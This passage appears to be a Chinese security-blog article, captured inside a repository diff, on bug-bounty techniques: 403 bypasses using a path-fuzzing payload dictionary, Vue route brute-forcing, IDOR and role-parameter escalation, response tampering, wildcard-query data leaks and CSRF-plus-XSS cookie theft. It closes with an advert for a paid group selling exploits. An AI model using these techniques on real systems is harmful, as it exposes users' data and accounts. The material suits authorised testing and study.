||||
502 Bad Gateway：错误网关。作为网关或代理工作的服务器从上游服务器收到了无效的响应。
|
||||
|
||||
```
|
||||
#### 405接口拼接
|
||||
|
||||
GET
|
||||
拼接接口没什么好讲的,重点就是POST
|
||||
方法以及状态码为405
|
||||
的情况
|
||||
|
||||
|
||||
|
||||
处理方法则是修改请求为POST
|
||||
数据下方加入空json
|
||||
体,因为某些时候单独的修改方法但是请求没有JSON
|
||||
格式响应包也不会有数据返回,这样去做拼接会意向不到的惊喜,再通过接口的响应如果缺少什么参数就找什么参数,
|
||||
```
|
||||
POST
|
||||
|
||||
Content-Type: application/json
|
||||
|
||||
{
|
||||
}
|
||||
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
||||
正确跑出接口后就是根据字节长度找到关键，size
|
||||
字节大肯定加载了新的东西新的JS
|
||||
,再在新的接口基础上再去浏览器带着接口访问,逐步测试.....
|
||||
|
||||
|
||||
### 403 未授权 权限问题
|
||||
|
||||
接口测试及JS信息想进阶一步强烈推荐关注L@2uR1te师傅公众号《HW专项行动小组》,通过JS接口测试挖掘高质量漏洞案例和深层的Java文章相关知识,是不可多得的宝藏公众号,好的文章思路值得被广泛传播。
|
||||
#### 瞬间后台页面
|
||||
|
||||
在访问后台时会在一瞬间加载出后台界面,又重定到登录页面,这里提供两个测试方法,我重点阐述方法2
|
||||
1. 利用burp
|
||||
卡住进入后台的包不要放过去,然后就是去后台处点击,点击结束后再一个个放包,这样又可以测试未授权,但是效率比较慢,需要对功能逐个点击,2是有时候加载新的接口并没有出现在页面中
|
||||
|
||||
1. 卡住登录包,等待一下就会加载后台的JS
|
||||
然后熊猫头探测到接口 拿到这些后台接口就可以直接批量测试测试未授权了,下图是典型的后台页面,卡住后就不会发送重定向数据
|
||||
|
||||
|
||||
|
||||
如果后台页面并不会一闪而过,开局登录框手动输入账户密码,然后拦截响应改为ture
|
||||
,如果校验不合格会一瞬间进入后台,然后重定向.如果可行的就可以按第二种方法继续测试未授权, 微信公众号文章学习到的思路
|
||||
|
||||
|
||||
#### type管理员类型参数
|
||||
|
||||
当我们编辑或者出现权限不对等的功能点,比如管理员 编辑者 创作者 查看者,类型不一致 靠数字绝对尝试修改类型参数,通过参数修改代替高权限的身份去操作
|
||||
```
|
||||
type:0// 查看者
|
||||
|
||||
type:1// 编辑者
|
||||
|
||||
```
|
||||
#### 无权限URL添加资源后缀绕过
|
||||
|
||||
[微信案例](https://mp.weixin.qq.com/s?__biz=MzU5OTMxNjkxMA==&mid=2247486725&idx=1&sn=0c9a187ce2100c38161fbf4279afab7a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
URL
|
||||
混淆漏洞是指服务器和解析URL
|
||||
时，由于不同组件或系统的解析规则不一致，攻击者可以利用这种不一致来绕过安全控制或获取敏感信息,对路径进行编码添加后缀的方式从而进行绕过
|
||||
|
||||
|
||||
|
||||
正常接口无权限
|
||||
|
||||
|
||||
|
||||
对最后的接口后面添加混淆,利用字典去Fuzz
|
||||
添加.json
|
||||
绕过,测试鉴权相关的漏洞时，可以尝试url
|
||||
混淆，接口多个位置fuzz
|
||||
添加资源文件后缀
|
||||
```
|
||||
/api/user ----> 未授权403
|
||||
/api/user.json/css/png --- 200 ok
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
||||
资源文件绕过字典,一般遇到403
|
||||
可疑接口我都是利用Onesacn
|
||||
去帮我在接口不同位置拼接测试，在插件中设置好字典,有403
|
||||
接口就发过去跑,利用资源文件进行多个位置拼接
|
||||
|
||||
|
||||
|
||||
如果出现状态码为200
|
||||
且字节长度很场很大概率又加载出了新东西,我们也就能测试更多地方
|
||||
|
||||
|
||||
|
||||
资源文件字典
|
||||
```
|
||||
%09
|
||||
%20
|
||||
%23
|
||||
%2e
|
||||
%2f
|
||||
/%2e/
|
||||
//
|
||||
/..;/
|
||||
//..;/
|
||||
/%20
|
||||
/%09
|
||||
/%00
|
||||
/.json
|
||||
/.css
|
||||
/.html
|
||||
/?
|
||||
/??
|
||||
/???
|
||||
/?testparam
|
||||
/#
|
||||
/#test
|
||||
//.
|
||||
////
|
||||
/.//./
|
||||
~
|
||||
.
|
||||
;
|
||||
..;
|
||||
。
|
||||
;%09
|
||||
;%09..
|
||||
;%09..;
|
||||
;%2f..
|
||||
*
|
||||
.json
|
||||
../
|
||||
..;/
|
||||
?a.css
|
||||
?a.js
|
||||
?a.jpg
|
||||
?a.png
|
||||
../admin
|
||||
..%2f
|
||||
./
|
||||
.%2f
|
||||
..%00/
|
||||
..%0d/
|
||||
..%5c
|
||||
&
|
||||
#
|
||||
@
|
||||
?
|
||||
??
|
||||
\..\.\
|
||||
.././
|
||||
/;/
|
||||
.%2e/
|
||||
..\
|
||||
..%ff/
|
||||
%2e%2e%2f
|
||||
%3f
|
||||
?.css
|
||||
?.js
|
||||
%3f.css
|
||||
%3f.js
|
||||
%26
|
||||
%0a
|
||||
%0d
|
||||
%20
|
||||
%0d%0a
|
||||
%3b
|
||||
\
|
||||
.\
|
||||
|
||||
```
|
||||
|
||||
BP
|
||||
插件https://github.com/0x727/BypassPro 也可以处理403
|
||||
接口
|
||||
|
||||
|
||||
#### Vue框架带#未授权二次拼接
|
||||
|
||||
vue框架前置有#
|
||||
注释 数据包是抓不到的,熊猫头找到的这一批接口无法直接在bp
|
||||
通过爆破器拼接,这个时候几个方法可以测试未授权
|
||||
```
|
||||
https://xxxxxxxxxx/rental/#/login/
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
||||
1.手动拼接如果出现有效可访问接口就可以**在有效接口的基础上再去看熊猫头加载的新接口得到新的接口再拼接未授权**
|
||||
,逐此反复
|
||||
```
|
||||
https://xxxxxxxxxx/paypage/#/riskReport?transld=
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
||||
2.urlfind
|
||||
扫描.注意看字节size
|
||||
大小 ,当字节变化代表加载到了不同的数据不同的JS
|
||||
就可以再用 熊猫头测到新的接口,注定看urlFinde
|
||||
的新的接口信息,然后在新的接口基础上又去看新的泄露接口二次拼接
|
||||
|
||||
|
||||
|
||||
|
||||
#### 前置接口共性
|
||||
|
||||
/rebateBillSettlementList
|
||||
接口出现在BP
|
||||
但是前置的接口/api/gw/rent/rebateBillSettlementList
|
||||
都没有见过,代表可能会以这个前置目录去拼接得到的JS
|
||||
接口,把找到的接口以这个目录为前置去爆破试试,有些时候不一定，都可以尝试;
|
||||
|
||||
所以说SRC最好是针对一家去挖掘,熟悉业务这个概念其实很模糊,新手常常疑问为什么要熟悉业务?不都是挖嘛,挖啥不是挖呢,我对于熟悉业务的理解是,理解开发代码的习惯,同一批站点会有很多相似的地方,Web和小程序如果是一套,那么假设一个可以登录注册一个只存在空白页面那么token是否可以替换?a站点普通用户权限b站点有管理员权限,那么接口调换一下呢,举一反三的概念,当然大佬可不惯着你上去就嘎嘎出高危,当我们还无法对漏洞信手拈来的时候能做的就是对每一个数据包做好分析，每一个思路做到记录并实践！久而久之出货只是时间问题
|
||||
|
||||
|
||||
|
||||
如果经常对一场厂商挖掘可以继续下业务的接口,有时候会能多套系统部署同一个接口 A
|
||||
站点的接口可以给B
|
||||
站点使用,A B
|
||||
站点接口组合一下又会出现新的接口,得到更多的攻击面
|
||||
|
||||
|
||||
### 越权查询/操作
|
||||
#### 各类功能点越权
|
||||
|
||||
[任何交互处都可能存在越权](https://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247515579&idx=1&sn=469e69bc8273677d3762af563592852f&scene=21#wechat_redirect)
|
||||
|
||||
#### 查询信息日历接口
|
||||
|
||||
查询的还是需要测试XSS
|
||||
或者其他的查看响应包是否有回显这种,使用%
|
||||
测试通配符注入这些
|
||||
|
||||
深度挖掘 所有能点的地方全点开看
|
||||
|
||||
|
||||
#### 鉴权参数弱cookie
|
||||
|
||||
个人信息交互功能点,BP
|
||||
刷新抓包将决定用户身份参数数据包找出,常规决定用户是谁的方式是找uid
|
||||
,有时候不一定是ID
|
||||
可以是其他的参数,比如修改为别人的号码就可以越权查看,逐个删除Cookie
|
||||
中字段发包,直到响应报错就可以确定删除的字段就是整体鉴权,如果JWT
|
||||
鉴权就可以打一套通用的攻击,其他弱参数鉴权就可以尝试爆破
|
||||
#### 评论区越权
|
||||
```
|
||||
评论区重灾区
|
||||
|
||||
1. 越权删除别人的评论,首先删除我自己的抓包,尝试 替换用户的id 替换评论文字的id
|
||||
|
||||
2. 回复模块,我回复别人, 替换用户id 让别人回复别人
|
||||
|
||||
3. 回复评论会出现新的功能点
|
||||
|
||||
4. CSRF越权回复别人
|
||||
|
||||
```
|
||||
#### 另类URL编码汉字越权
|
||||
|
||||
决定用户参数的ID
|
||||
不是单纯的数字,是由于文字编码得来文字对应编号,所以并不是没有修改ID越权,只是明文ID已经近乎绝迹,取而代之的是未鉴权的编码id、有规律的长id,测试越权最好还是双开对比数据包这样既不会影响到普通用户业务又可以通过不同用户数据包寻找出差异,数据包利用文本对比工具可以很迅速的找出差异,下面的编码汉字只是一种,我想传递的是举一反三的思路
|
||||
```
|
||||
GET /XXX?id=%E4%B8%94%E4%B8%98%E4%B8%96%E4%B8%93 HTTP/1.1
|
||||
Host: XXX
|
||||
Accept: /
|
||||
......
|
||||
Connection: close
|
||||
|
||||
id=%E4%B8%94%E4%B8%98%E4%B8%96%E4%B8%93 解码后: 且丘世专
|
||||
|
||||
```
|
||||
|
||||
所以且丘世专
|
||||
对应着我的id也就是4863
|
||||
|
||||
|
||||
#### 普通用户替换管理员接口升级
|
||||
|
||||
**核心是普通用户获取到管理员邀请管理员接口然后自己拿来用自己生成 然后自己点击生成再自己成为管理**
|
||||
|
||||
**A**
|
||||
场景
|
||||
```
|
||||
1.B(管理员)生成团队查看者链接,A点击了A成为了团队成员
|
||||
|
||||
2. 管理员B为我们测试的账户,拿到它生成团队编辑者(编辑者就是管理员)的接口,去给A使用生成编辑者的接口,用它的功能
|
||||
|
||||
3. A使用B功能生成的编辑者链接,再自己去点击,这样它就和B(管理员)一样了
|
||||
|
||||
B A均为自己的测试账户,A使用了B的功能接口,类似另类的免费使用付费的东西
|
||||
|
||||
```
|
||||
|
||||
管理员B生成查看者链接,A 成为了团队内的,然后A利用B生成编辑者的接口,替换身份为自己的,等于是A生成了编辑者的链接,然后A自己再去点击 A也就成为了管理员,管理员的接口是我们自己的大号,所以我们的小号就通过已知的管理员邀请接口拼接自己成为了管理员
|
||||
|
||||
**B**
|
||||
场景
|
||||
|
||||
普通用户申请权限,利用大号(admin)
|
||||
的数据包和小号的做对比,从而修改普通用户申请权限的数据包为管理员字母也可能是root
|
||||
我们可以跑字典
|
||||
```
|
||||
role："user" 修改为 role:"admin "
|
||||
|
||||
```
|
||||
### 信息泄露接口
|
||||
#### 查询测试思路
|
||||
|
||||
有的接口参数有斜杠有的问号 其实效果是一样的
|
||||
|
||||
|
||||
|
||||
信息泄露往往伴随着JS
|
||||
拼接接口参数,查询信息处置空或者写入%
|
||||
都代表模糊查询了只要是查询的地方记住删除全部参数以及置空参数或者输入%
|
||||
```
|
||||
GET /api/demo/query= xxxxxx
|
||||
|
||||
GET /api/demo/ # 删除查询参数
|
||||
|
||||
GET /api/demo/query= # 置空
|
||||
|
||||
GET /api/demo/query=% # 模糊查询
|
||||
|
||||
|
||||
```
|
||||
|
||||
特别是针对接口出现id
|
||||
资源
|
||||
```
|
||||
h5/qrCode.html/?id
|
||||
|
||||
测试方法:
|
||||
|
||||
h5/qrCode.html/?id= 置空
|
||||
h5/qrCode.html/?id=% 添加值/%
|
||||
h5/qrCode.html/?id=null 添加null
|
||||
h5/qrCode.html/ 删除qroCode.html
|
||||
|
||||
|
||||
```
|
||||
#### Authorization字段鉴权
|
||||
|
||||
Authorization
|
||||
置空响应返回401
|
||||
修改为1
|
||||
返回其他信息 这个字段存在尝试修改, 一般和jwt
|
||||
同时出现作为鉴权,修改它应该是和修改为管理员或者是模糊查询%
|
||||
一个意义 所以都可以举一反三
|
||||
```
|
||||
Authorization: Bearer xxxxto
|
||||
|
||||
```
|
||||
|
||||
**任意功能点**
|
||||
|
||||
只要是后端没有返回关键的权限字符 如 jwt
|
||||
token
|
||||
那么代表可以尝试修改返回包登录，因为后端响应包没有输出信息代表并没有经过后端,在站点的其他业务得到类似的响应一般会是如下,结合业务点,没响应鉴权都可以做到短暂绕过,多出现有限制的场景,邀请码、代理商、管理员提交,绕过出现新的功能点又可以尝试测试了
|
||||
```
|
||||
success: true
|
||||
code: 200
|
||||
message: 成功
|
||||
data: true
|
||||
|
||||
```
|
||||
#### 获取他人ID场景
|
||||
|
||||
用户参数的只是一个ID
|
||||
并没有后端的cookie
|
||||
token
|
||||
鉴权尝试找到别人的ID
|
||||
,比如站点关注别人查看排行榜,社区评论区、投诉、反馈 等涉及供用户交流的功能都可以带出用户的id
|
||||
|
||||
|
||||
#### 信息查询添加list接口
|
||||
|
||||
**添加**list
|
||||
** 删除前置路径**
|
||||
|
||||
原本查询个人信息uersd
|
||||
后续接上list
|
||||
虽然是404
|
||||
未找到但是可以删除前面的路径
|
||||
```
|
||||
正常原路径
|
||||
/prod-api/system/info/small/userId
|
||||
|
||||
修改后的路径
|
||||
/prod-api/system/info/small/userId/ list
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
||||
删除前面的接口small
|
||||
最后意思就是信息的列表，可以回显所有人的信息
|
||||
```
|
||||
/prod-api/system/info/list
|
||||
|
||||
```
|
||||
|
||||
**添加list并斜杠/结束**
|
||||
|
||||
个人接口的单词修改为list
|
||||
并添加斜杠会 列出全部信息
|
||||
```
|
||||
/api/user/ads/info?a=123456// 只能看到自己家的信息
|
||||
|
||||
/api/user/ads/list/?a=123456// 更改参数并斜杠结束 绕过和某些中间件有关
|
||||
|
||||
```
|
||||
#### 信息删除接口传入id
|
||||
|
||||
在个人信息接口删除传递的参数值,直接将用户值写到前一层接口,拿到别人的id
|
||||
作为接口请求,那么找到别人的id
|
||||
就可以尝试替换了,有时候是用户的昵称或者其他值 需要对业务多观察,对比自己的个人信息判断
|
||||
```
|
||||
GET /api/v1/user/info?id=@saber # 正常写法
|
||||
|
||||
GET /api/v1/user/@saber # 此场景下
|
||||
|
||||
```
|
||||
|
||||
|
||||
#### 个人信息响应数组为空
|
||||
|
||||
个人信息处或者涉及铭感信息,肯定是要查询的,我们点击查询如果响应包为出现了某个数组,但是为空那么存在越权的可能性比较大,意思是查询到了但是是空的,那么可以删除token
|
||||
测试貌,发包就会回显所有的信息
|
||||
```
|
||||
saber:[]
|
||||
|
||||
```
|
||||
#### 个人信息JSON多次传入
|
||||
|
||||
涉及个人信息模块,如果我们正常请求我们自己的 ID
|
||||
号码这些,如果是ID
|
||||
,属于JSON
|
||||
格式,并且回显也是一条
|
||||
```
|
||||
请求:
|
||||
|
||||
{
|
||||
uid:100001
|
||||
{
|
||||
|
||||
响应:
|
||||
|
||||
{
|
||||
|
||||
xxxxx
|
||||
xxxxx
|
||||
xxxxx
|
||||
|
||||
}
|
||||
|
||||
|
||||
```
|
||||
|
||||
如果此id
|
||||
可以遍历我们手动传入多个ID,并且响应包也会回显出多个用户的信息,那么造成信息泄露
|
||||
```
|
||||
请求:
|
||||
|
||||
{
|
||||
uid:100001
|
||||
{
|
||||
|
||||
{
|
||||
uid:100002
|
||||
{
|
||||
|
||||
{
|
||||
uid:100003
|
||||
{
|
||||
|
||||
响应:
|
||||
|
||||
{
|
||||
|
||||
xxxxx
|
||||
xxxxx
|
||||
xxxxx
|
||||
|
||||
}
|
||||
|
||||
{
|
||||
|
||||
xxxxx
|
||||
xxxxx
|
||||
xxxxx
|
||||
|
||||
}
|
||||
|
||||
{
|
||||
|
||||
xxxxx
|
||||
xxxxx
|
||||
xxxxx
|
||||
|
||||
}
|
||||
|
||||
```
|
||||
#### page size参数增加
|
||||
|
||||
参数置空并改特殊值,然后pagesize
|
||||
改成很大的可能可以看别人的,我发布的另一篇文件利用到了此技巧,造成信息泄露,原理是模糊查询并且前端传入多个字节size
|
||||
|
||||
奇安信攻防社区-小程序渗透记录 通过细节挖掘漏洞的艺术
|
||||
#### 接口为ID 参数值
|
||||
|
||||
接口的路径为这种的参数值,尝试删除 多尝试可能性能操作就全部操作,因为你也不知道这个点有没有漏洞删除后可能会返回所有用户的接口信息 ID
|
||||
数字无论出现在前或者后我们都应该去测试遍历
|
||||
```
|
||||
GET api/user/123456
|
||||
|
||||
GET api/123456/user
|
||||
|
||||
GET api/user/ // 删除后发送接口 回显所有用户的userinfo
|
||||
|
||||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
|
||||
```
|
||||
#### 拼接新参数造成越权
|
||||
|
||||
[记某src通过越权拿下高危漏洞](https://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247515333&idx=1&sn=120ba17b146038df61811e208c7dd6bb&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
如果两个接口返回的内容是一致的,那么一个地方越权另一个地方也可以越权,如果Userid
|
||||
是无法遍历的则想办法找出,利用&
|
||||
符号拼接决定用户ID
|
||||
参数越权其他信息遇到全部个人信息是cookie
|
||||
鉴权可以尝试此方法
|
||||
|
||||
文章案例Getuser
|
||||
接口接口会显示出用户铭感信息,但是只有Version
|
||||
是可以修改的,这个参数代表版本或者时间修改也没有作用,修改cookie
|
||||
也没啥用,无法越权
|
||||
```
|
||||
gateway/nuims/nuims?Action=GetUser&Version=2020-06-01
|
||||
|
||||
```
|
||||
|
||||
但是通过其他接口得到UserId
|
||||
参数填上其他用户的值可以越权查看其他用户的个人账户敏感信息 &
|
||||
符连接,
|
||||
```
|
||||
/gateway/nuims/nuims?Action=GetUser&Version=2020-06-01& UserId=xxxxxxxxxxxxx
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
||||
并且文章拓展思路是第二个接口返回值和第一关接口正常的返回值是一样的只会返回自己的信息,所以相同接口返回内容还可以尝试最次拼接, 建议阅读原文思路才能更好的理解这个思路
|
||||
```
|
||||
第二个接口正常返回值也和第一关接口一样,那么第二个接口也可以拼接,可以吃两份钱
|
||||
|
||||
/gw/nuims/api/v1/nuims/LcpGetUser
|
||||
|
||||
/gw/nuims/api/v1/nuims/LcpGetUser?UserId=xxxxxxxxxxxxx
|
||||
|
||||
```
|
||||
### 输入框XSS
|
||||
#### 客服聊天修改类型为text
|
||||
|
||||
[文章实例](https://mp.weixin.qq.com/s?__biz=Mzg4MjcxMTAwMQ==&mid=2247487124&idx=1&sn=a6989cc26b4c2f61739a9d0517f80b5d&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
咨询客服输入框,输入后抓包如果看到 type
|
||||
类型为text
|
||||
,则是会把输入变成普通的文本我们顺势修改为 html
|
||||
但由于是我们主动修改 所以是 self-xss,然后看文章进行存储xss
|
||||
利用
|
||||
#### CSRF+XSS搜索功能造成存储
|
||||
|
||||
抓取到搜索记录的请求,制造为POC
|
||||
发送给受害者点击,它相当于在当前网站上搜索了一次,那么等受害者点到历史记录的话XSS
|
||||
就会被执行,存储到了受害者的网站中,利用XSS
|
||||
平台直接打cookie
|
||||
,
|
||||
```
|
||||
CSRF+XSS:
|
||||
|
||||
如果一个点存在XSS可以弹出Cookie,那么尝试
|
||||
制作这个请求为CSRF，发生给受害者后它在本地弹窗 我们这里接收到Cookie就完成了攻击,如果是存储的危害更大
|
||||
|
||||
```
|
||||
#### 制造XSS输入框/字体/文件夹
|
||||
|
||||
文件夹/文件是否可以重命名,重命名意味着又是一个新的输入框 又可以打入XSS
|
||||
,包含但不限于这种场景大白话就是尽可能的找到框,和小众页面输入插入 test">
|
||||
#### Get参数地址栏XSS
|
||||
|
||||
URL
|
||||
出现参数name=xxxx
|
||||
,我们正常的写我们的值,然后全局搜索内容,**每次输入完**
|
||||
**F12
|
||||
****观察搜索,**为了避免过滤先输入正常的文字,等找到了带入的地方再办法构造Payload
|
||||
,这样很麻烦但是可以试一试
|
||||
|
||||
|
||||
#### mutipart请求xss
|
||||
|
||||
[微信文章](https://mp.weixin.qq.com/s?__biz=Mzg4NDg3NjE5MQ==&mid=2247484947&idx=1&sn=be5514129af176e63d5fd1c5e212e977&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
更改请求为mutipart
|
||||
格式可以绕过后端的实体化和绕过
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
****
|
||||
**内部圈子详情介绍**
|
||||
|
||||
我们是
|
||||
神农安全
|
||||
，点赞 + 在看
|
||||
铁铁们点起来，最后祝大家都能心想事成、发大财、行大运。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**内部圈子介绍**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**圈子专注于更新src/红蓝攻防相关：**
|
||||
|
||||
```
|
||||
1、维护更新src专项漏洞知识库，包含原理、挖掘技巧、实战案例
|
||||
2、知识星球专属微信“小圈子交流群”
|
||||
3、微信小群一起挖洞
|
||||
4、内部团队专属EDUSRC证书站漏洞报告
|
||||
5、分享src优质视频课程（企业src/EDUSRC/红蓝队攻防）
|
||||
6、分享src挖掘技巧tips
|
||||
7、不定期有众测、渗透测试项目（一起挣钱）
|
||||
8、不定期有工作招聘内推（工作/护网内推）
|
||||
9、送全国职业技能大赛环境+WP解析（比赛拿奖）
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
**内部圈子**
|
||||
**专栏介绍**
|
||||
|
||||
知识星球内部共享资料截屏详情如下
|
||||
|
||||
（只要没有特殊情况，每天都保持更新）
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**知识星球——**
|
||||
**神农安全**
|
||||
|
||||
星球现价
|
||||
￥45元
|
||||
|
||||
如果你觉得应该加入，就不要犹豫，价格只会上涨，不会下跌
|
||||
|
||||
星球人数少于800人 45元/年
|
||||
|
||||
星球人数少于1000人 60元/年
|
||||
|
||||
（新人优惠卷20，扫码或者私信我即可领取）
|
||||
|
||||
|
||||
|
||||
欢迎加入星球一起交流，券后价仅45元！！！ 即将满800人涨价
|
||||
|
||||
长期
|
||||
更新，更多的0day/1day漏洞POC/EXP
|
||||
|
||||
|
||||
|
||||
**内部知识库--**
|
||||
**（持续更新中）**
|
||||
|
||||
|
||||
|
||||
|
||||
**知识库部分大纲目录如下：**
|
||||
|
||||
知识库跟
|
||||
知识星球联动，基本上每天保持
|
||||
更新，满足圈友的需求
|
||||
|
||||
|
||||
|
||||
|
||||
知识库和知识星球有师傅们关注的
|
||||
EDUSRC
|
||||
和
|
||||
CNVD相关内容（内部资料）
|
||||
|
||||
|
||||
|
||||
|
||||
还有网上流出来的各种
|
||||
SRC/CTF等课程视频
|
||||
|
||||
量大管饱，扫描下面的知识星球二维码加入即可
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
内部小圈子——
|
||||
圈友反馈
|
||||
（
|
||||
良心价格
|
||||
）
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
****
|
||||
**神农安全公开交流群**
|
||||
|
||||
有需要的师傅们直接扫描文章二维码加入，然后要是后面群聊二维码扫描加入不了的师傅们，直接扫描文章开头的二维码加我（备注加群）
|
||||
|
||||
|
||||
|
||||
****
|
||||
|
||||
```
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
1025
doc/2025-05/腾讯云安全中心推出2025年4月必修安全漏洞清单.md
Normal file
1025
doc/2025-05/腾讯云安全中心推出2025年4月必修安全漏洞清单.md
Normal file
File diff suppressed because one or more lines are too long
Loading…
x
Reference in New Issue
Block a user